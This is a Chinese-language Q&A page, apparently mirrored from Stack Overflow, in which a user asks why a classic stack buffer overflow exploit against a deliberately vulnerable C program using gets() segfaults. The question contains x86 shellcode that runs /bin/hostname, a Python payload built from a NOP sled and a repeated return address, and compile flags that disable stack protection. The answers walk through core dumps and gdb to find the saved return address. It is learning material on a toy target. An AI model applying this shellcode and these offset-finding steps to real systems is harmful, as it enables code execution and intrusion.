【问题标题】:Unable to run stack buffer overflow exploit无法运行堆栈缓冲区溢出漏洞利用
【发布时间】:2014-12-20 14:23:05
【问题描述】:

我必须在下面的缓冲区溢出程序中注入代码。该代码应打印主机名。我有一个有效的操作码 (\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80)。我使用了 NOP 和重复的返回地址。但是我无法用它运行代码,而且我总是会遇到分段错误。谁能帮我解决这个问题?

易受攻击的.c

#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char * * argv)
{
  char * stuff = 0;
  int len = 0;
  vulnerable();
  return 0;
}

int
vulnerable(void)
{
  char buf[100];
  printf("enter your name: ");
  fflush(stdout);
  gets(buf);
  printf("\"%s\"\n Welcome", buf );
}

我用

编译了上面的程序
gcc -ggdb -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o vulnerable vulnerable.c

Shellcode.py

print "\x90"*51 +"\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62\x69\x6e\x2f\x68\x2‌​f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x0b\x50\xcd\x80" + "\xd8\xf3\xff\xbf"*6 

我已经在命令行中调用了这个python程序

python shellcode.py | ./vulnerable

【问题讨论】:

  • 您使用的是什么操作系统?您是否禁用了所有堆栈保护?
  • 您必须禁用堆栈保护,然后使用调试器查看发生了什么。
  • 我在 Linux 12.04 上使用它。我禁用了 ASLR,堆栈保护。要输入我使用过的 python 的 shellcode。
  • @Maddy 请使用此信息编辑您的问题。
  • 如果你有兴趣,围绕这篇文章的元讨论是here

标签: c buffer-overflow


【解决方案1】:

我建议你打开核心转储:

ulimit -c unlimited

然后像perl -e 'print "A"x130'一样做一个简单的缓冲区溢出,系统会生成转储:用gdb -c core打开它,你会看到%eip=0x41414141

然后您可以像perl -e 'print "A"x120' 一样减少注入的缓冲区,直到获得确切的缓冲区大小以覆盖 RET。

【讨论】:

  • 我已将上面的代码更改为 108。但是当我使用 gdb 时,我发现代码不按顺序排列,返回地址不在应有的位置。你能描述一下找出退货地址的步骤吗?
  • 我用返回地址映射它,但我无法运行代码。这只是打印。我希望它被执行。
【解决方案2】:

你能描述一下找出退货地址的步骤吗?

c> shellcode.py >shellcode
c> gdb vulnerable
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) b vulnerable
Breakpoint 1 at 0x80484e6: file vulnerable.c, line 17.
(gdb) r <shellcode
Starting program: /home/armali/bin/so/c/vulnerable <shellcode

Breakpoint 1, vulnerable () at vulnerable.c:17
17        printf("enter your name: ");
(gdb) info frame
Stack level 0, frame at 0xbffff7bc:
 eip = 0x80484e6 in vulnerable (vulnerable.c:17); saved eip 0x80484c9
 called by frame at 0xbffff7cc
 source language c.
 Arglist at 0xbffff7bc, args: 
 Locals at 0xbffff7bc, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffff7bc, eip at 0xbffff7c0

示例显示返回地址eip 0x80484c9保存为at 0xbffff7c0

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-10-14
    • 2016-06-04
    • 1970-01-01
    • 2012-06-02
    • 1970-01-01
    相关资源
    最近更新 更多